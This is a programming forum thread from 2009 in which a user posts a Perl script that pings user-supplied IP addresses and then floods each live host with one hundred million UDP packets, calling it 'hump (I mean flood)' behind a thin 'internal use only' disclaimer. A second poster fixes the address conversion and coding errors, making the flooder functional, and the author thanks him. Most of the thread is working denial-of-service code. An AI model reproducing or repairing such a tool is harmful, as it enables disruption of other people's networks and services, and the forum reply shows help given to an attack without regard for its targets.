School Assignment? Project Due Tomorrow? Chat LIVE With A Programming Expert!

Welcome to Dream.In.Code
Become an Expert!

Join 300,579 Programmers for FREE! Get instant access to thousands of experts, tutorials, code snippets, and more! There are 2,243 people online right now. Registration is fast and FREE... Join Now!




IP Address conversion

 

IP Address conversion, need to convert to 4byte address

th3 mant1s

18 May, 2009 - 06:58 AM
Post #1

New D.I.C Head
*

Joined: 5 Mar, 2008
Posts: 34


My Contributions
Hi Guys,

Im making this script to automate network pings for each host entered by the user. Could someone please tell me how to properly convert the address for use by the socket? This is for internal use only!


CODE

#!/usr/bin/perl
use Net::Ping;
use IO::Socket;
#use strict;
use Getopt::Long;

################################################################################
#
# Author Th3 Mant1s
#
# Aknowldegements: Ivan Pepelnjak udp flood code
#
# Program Description: Ping stuff and Flood it with UDP Packets
# Disclaimer: For internal use only, only use with permission of the Network Administrator!
#
# Remember to install the ::External for the Ping module.
#
################################################################################
#
#_______________________ENTER THE IP's TO BE SCANNED_____________________________________

#A Welcome Statement...
print "Welcome to the program \n";
print "Please enter IP's you wish to hump (I mean flood) and do 'CTRL+D' when finished \n";


#Read in the IP Addresses to be processed
@IPS;                            #Array to store IP's
$count = 0;

while ($readin = <STDIN>){
print "\n";
push (@IPS, $readin);
$count = count +1;    
}continue{
foreach(@IPS){
    print "$_\r";
    print "\r";
    }
}

#-------------------------------CHECK FOR ALIVE HOSTS-----------------------------------------

$p = Net::Ping->new();    #open a new pint routine
@uphosts;                #New array for the hosts that are up

foreach $host (@IPS){                    #for each ip entered above
      
       if ($p->ping($host, 2) != null){                #if this returns null then go to else.
        push (@uphosts, $host);                        #add live hosts to an array    
           print "$host seems to be up and pinging!";
               foreach(@uphosts){                        #Loop to print the hosts to the screen
               print "\r";
               print "$_\r";
               }
       }else{
           print "$host seems to be dead or not responding";
           print "\r";
       }
       sleep(1)
}
    $p->close();                #close ping one

#_-----------------------Convert the ip's to bytes-----------------------------------------

#NEED TO FIGURE OUT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

@conv_uphosts;                    #array of converted up hosts

foreach $address (@uphosts){            #Convert to network binary

$address = sprintf "The version is %p\n", $address;

    push (@conv_uphosts, $address);
}

foreach $check (@conv_uphosts){            #loop for checking the host list
    print "$_\r";
    print "\n";
}

    
#-----------------------------The UDP PAYLOAD--------------------------------------    
#Craft UDP Packets for each alive host and flood.

#Random ports and sizes
$psize = int(rand(1024-64)+64);
$pport = int(rand(65500))+1;

foreach $conv_host (@conv_uphosts){                
for ($i=0;$i<100000000;$i++) {
    socket(flood, PF_INET, SOCK_DGRAM, 17);
    send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $conv_host));
    print "this might be working?";
}
}
    
    print "\n";
    print "This program is finished!";
    print "\n";
    
__END__




User is offlineProfile CardPM
+Quote Post


chorny_cpan

RE: IP Address Conversion

18 May, 2009 - 10:57 AM
Post #2

New D.I.C Head
Group Icon

Joined: 13 May, 2009
Posts: 35


Dream Kudos: 25
My Contributions
Fix remained errors caused by "use strict;" mode. Always use Perl::Critic - it really helps.

CODE

#!/usr/bin/perl

use strict;
use warnings;
use diagnostics;
use Net::Ping;
use IO::Socket;

use Getopt::Long;

################################################################################

#
# Author Th3 Mant1s
#
# Aknowldegements: Ivan Pepelnjak udp flood code
#
# Program Description: Ping stuff and Flood it with UDP Packets
# Disclaimer: For internal use only, only use with permission of the Network Administrator!
#
# Remember to install the ::External for the Ping module.
#
################################################################################

#
#_______________________ENTER THE IP's TO BE SCANNED_____________________________________

#A Welcome Statement...
print "Welcome to the program \n";
print "Please enter IP's you wish to hump (I mean flood) and do 'CTRL+D' when finished \n";


#Read in the IP Addresses to be processed
my @IPS;                            #Array to store IP's
my $count = 0;

while ($readin = <STDIN>){
chomp($readin);
push (@IPS, $readin);
$count++;
}

foreach my $a (@IPS) {
    print "$a\n";
}

#-------------------------------CHECK FOR ALIVE HOSTS-----------------------------------------

my $p = Net::Ping->new();    #open a new pint routine
my @uphosts;                #New array for the hosts that are up

foreach my $host (@IPS) {                    #for each ip entered above
      
       if ($p->ping($host, 2)){                #if this returns null then go to else.
           push (@uphosts, $host);                        #add live hosts to an array    
           print "$host seems to be up and pinging!";
           foreach my $a (@uphosts){                        #Loop to print the hosts to the screen
               print "$a\n";
           }
       }else{
           print "$host seems to be dead or not responding";
           print "\r";
       }
       sleep(1)
}
$p->close();                #close ping one

#_-----------------------Convert the ip's to bytes-----------------------------------------

#NEED TO FIGURE OUT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

my @conv_uphosts;                    #array of converted up hosts

foreach my $address (@uphosts){            #Convert to network binary

    #$address = sprintf "The version is %p\n", $address;
    $address = inet_aton($address);

    push (@conv_uphosts, $address);
}

foreach my $check (@conv_uphosts){            #loop for checking the host list
     print "$check\n";
}

  
#-----------------------------The UDP PAYLOAD--------------------------------------    
#Craft UDP Packets for each alive host and flood.

#Random ports and sizes
$psize = int(rand(1024-64)+64);
$pport = int(rand(65500))+1;

foreach $conv_host (@conv_uphosts){                
for (my $i=0;$i<100000000;$i++) {
    socket(my $flood, PF_INET, SOCK_DGRAM, 17);
    send($flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $conv_host));
    print "this might be working?\n";
}
}
    
    print "\n";
    print "This program is finished!";
    print "\n";



User is offlineProfile CardPM
+Quote Post

th3 mant1s

RE: IP Address Conversion

27 May, 2009 - 07:22 PM
Post #3

New D.I.C Head
*

Joined: 5 Mar, 2008
Posts: 34


My Contributions
Thank you sir!
User is offlineProfile CardPM
+Quote Post

Fast ReplyReply to this topicStart new topic

Time is now: 11/8/09 08:24AM

Live Help!

Be Social

Dream.In.Code RSS Feed Dream.In.Code LinkedIn Group Follow Us On Twitter Fan Us On Facebook

Tutorials

Programming

Web Development

Reference Sheets

Code Snippets

DIC Chatroom

Bye Bye Ads

Monthly Drawing

Thumb Drive

Top Contributors

Top 10 Kudos This Month